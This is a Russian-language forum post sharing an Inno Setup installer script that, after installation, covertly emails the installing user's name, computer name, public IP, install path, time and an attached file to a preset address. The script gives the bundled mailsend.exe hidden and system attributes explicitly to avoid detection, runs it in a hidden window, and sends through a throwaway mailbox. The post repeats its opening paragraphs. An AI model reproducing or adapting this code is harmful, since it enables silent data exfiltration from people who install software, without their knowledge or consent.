Попросили меня написать скрипт для отсылки втихаря сообщений с прикреплённым файлом.
Сначала воспользовался длл'кой и скриптом от уважаемого South'а из темы Ammyy Admin, но письмо отправлялось только с mail.ru, с остальных адресов скрипт выдавал ошибку(возможно только у меня, х.з.), и можно было отправить только максимум 2 сообщения, после чего почтовый сервер блочил сообщения, пока не поменяешь IP.
На Ru.Board'е нашёл консольную программку, подходящую мне: mailsend. И вот на её основе накатал простенький скрипт, воспользовавшись наработками Serega (определение ip). Может кому и пригодится
Во вложении сама программка, файлик для теста и скрипт.
А, да. Проверял на окнах 7х64 max sp1.
А, да ещё раз. Скрипт писал на Inno Setap Enhanced edition 5.5.1.ee2 (u). Но работает и на Ansi. Можно было бы конечно написать и для 5.5.6 (или 8? - не слежу за новинками ), но лень.
Сначала воспользовался длл'кой и скриптом от уважаемого South'а из темы Ammyy Admin, но письмо отправлялось только с mail.ru, с остальных адресов скрипт выдавал ошибку(возможно только у меня, х.з.), и можно было отправить только максимум 2 сообщения, после чего почтовый сервер блочил сообщения, пока не поменяешь IP.
На Ru.Board'е нашёл консольную программку, подходящую мне: mailsend. И вот на её основе накатал простенький скрипт, воспользовавшись наработками Serega (определение ip). Может кому и пригодится
Код:
#ifndef IS_ENHANCED
#error Enhanced edition of Inno Setup (restools) is required to compile this script
#endif
;************************************************************************************************************************************************************************************************
#define mailfrom "user@mail.ru" /* укажите e-mail отправителя (с какого ящика пойдёт письмо - зарегать левую почту) для mail.ru; нужный раскомментировать, не нужный - закомментировать */
;#define mailfrom "user@yandex.ru" /* укажите e-mail отправителя (с какого ящика пойдёт письмо - зарегать левую почту) для yandex.ru; нужный раскомментировать, не нужный - закомментировать*/
;#define mailfrom "user@gmail.com" /* укажите e-mail отправителя (с какого ящика пойдёт письмо - зарегать левую почту) для gmail.com; нужный раскомментировать, не нужный - закомментировать*/
#define smtp "smtp.mail.ru" /* укажите smtp сервер (для mail.ru); нужный раскомментировать, не нужный - закомментировать */
;#define smtp "smtp.yandex.ru" /* укажите smtp сервер (для yandex.ru); нужный раскомментировать, не нужный - закомментировать */
;#define smtp "smtp.gmail.com" /* укажите smtp сервер (для gmail.com); нужный раскомментировать, не нужный - закомментировать */
#define psswrd "blablabla"/* укажите пароль отправителя (с левого ящика) обязательно, а то письмо не уйдёт */
#define name "Админ" /* укажите имя, от которого будет послано сообщение (можно на русском) */
#define subj "Программа установлена" /* укажите тему сообщения (можно на русском) */
#define mailto "user@mail.ru" /* укажите e-mail получателя (ящик, который будем проверять; хоть какой, конечно только не тот, с которого отправляем; пароль указывать не надо!) */
;************************************************************************************************************************************************************************************************
[Setup]
AppName=MailSend
AppVersion=MailSend
DefaultDirName={pf}\MailSend
DefaultGroupName=MailSend
OutputDir=.
OutputBaseFilename=MailSend
DisableDirPage=yes
DisableProgramGroupPage=yes
DisableFinishedPage=yes
DisableReadyPage=yes
DisableWelcomePage=yes
Compression=lzma2/ultra64
InternalCompressLevel=ultra64
SolidCompression=yes
LZMAUseSeparateProcess=yes
LZMADictionarySize=262144
[Languages]
Name: rus; MessagesFile: compiler:Languages\Russian.isl
[Files]
; программка для отсылки сообщений; копируется во временную папку, так, что сама и удаляется после установки
Source: "mailsend\mailsend.exe"; Flags: dontcopy;
; тестовый файлик; в реале не нужен
Source: "mailsend\test.txt"; DestDir: "{app}"; Flags: ignoreversion;
[Code]
type
#ifdef UNICODE
PChar = PAnsiChar;
#endif
function SetFileAttributes(lpFileName: PChar; dwFileAttributes: DWORD): BOOL; external 'SetFileAttributesA@kernel32.dll stdcall';
// проверяем интернет и получаем ip
function GetHtmlSource(const url: string): string;
var
vHttp: Variant;
begin
try
vHttp:= CreateOleObject('Microsoft.XMLHTTP');
vHttp.open('GET', url, False);
vHttp.send;
Result:= vHttp.responseText;
except
Exit;
end;
end;
procedure SendToMail;
var
ResultCode: Integer;
S,body,SP,St,attachf: String;
begin
St:= #13#10;
// делаем программку скрытой и системной, что бы не палиться
SetFileAttributes(PChar(ExpandConstant('{tmp}\mailsend.exe')), FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM);
// заносим в переменную S значение ip
S:= GetHtmlSource('http://bot.whatismyipaddress.com/');
// если S не пустая, значит интернет есть! продолжаем
if S <> '' then begin
// само письмо - тут что хочешь, то и пишешь, например:
body:= AddQuotes('Имя пользователя: '+ExpandConstant('{username}')+St+ // имя пользователя, с компьютера которого отправлено сообщение
'Имя компьютера: '+ExpandConstant('{computername}')+St+ // имя компьютера, с которого отправлено сообщение
'IP адрес: '+S+St+ // интернет адрес (IP), с которого отправлено сообщение
'Программа '+'""{#SetupSetting("AppName")}""'+' установлена в: '+WizardForm.DirEdit.Text+St+ // имя и путь установки програмы
'Дата и локалное время установки: '+DateToStr(Date)+' / '+TimeToStr(Time)); // дата и локальное время (время на компьютере, с которого отправлено сообщение) установки программы
// название файла, который нужно отправить и путь до него (в примере - папка установки программы и файл test.txt)
attachf:= AddQuotes(ExpandConstant('{app}\')+'test.txt');
// если прикрепляемый файл на месте
if FileExists(RemoveQuotes(attachf)) then
// то коммандная строка программки для отсылки сообщений с прикреплённым файлом
SP:= '-smtp '+'{#smtp}'+' -port 465'+' -ssl -auth -user '+'{#mailfrom}'+' -pass '+'{#psswrd}'+' -t '+'{#mailto}'+' -f '+'{#mailfrom}'+' -name '+'{#name}'+' -cs 1251 +cc +bc -q -attach '+attachf+' -sub '+'"{#subj}"'+' -M '+body
// а вот если он не нашёлся
else
// то коммандная строка программки для отсылки сообщений без прикреплённого файла
SP:= '-smtp '+'{#smtp}'+' -port 465'+' -ssl -auth -user '+'{#mailfrom}'+' -pass '+'{#psswrd}'+' -t '+'{#mailto}'+' -f '+'{#mailfrom}'+' -name '+'{#name}'+' -cs 1251 +cc +bc -q -sub '+'"{#subj}"'+' -M '+body;
//отправляем письмо, с файлом или без него
Exec(ExpandConstant('{tmp}\mailsend.exe'), SP, ExpandConstant('{tmp}'), SW_HIDE, ewWaitUntilTerminated, ResultCode);
// это прикол - сообщение, если отключен интернет. в реале поставить ; после end и всё, что дальше - удалить. ну или закомментировать
end else MsgBoxEx(0,'Сначала интернет включи!', 'Отправка письма', MB_OK or MB_ICONINFORMATION, 0, 10);
end;
procedure CurStepChanged(CurStep: TSetupStep);
begin
case CurStep of
ssPostInstall: begin
if not FileExists(ExpandConstant('{tmp}\mailsend.exe')) then ExtractTemporaryFile('mailsend.exe');
SendToMail;
end;
end;
end;
А, да. Проверял на окнах 7х64 max sp1.
А, да ещё раз. Скрипт писал на Inno Setap Enhanced edition 5.5.1.ee2 (u). Но работает и на Ansi. Можно было бы конечно написать и для 5.5.6 (или 8? - не слежу за новинками ), но лень.
Вложения
-
453.6 KB Просмотры: 71
Последнее редактирование: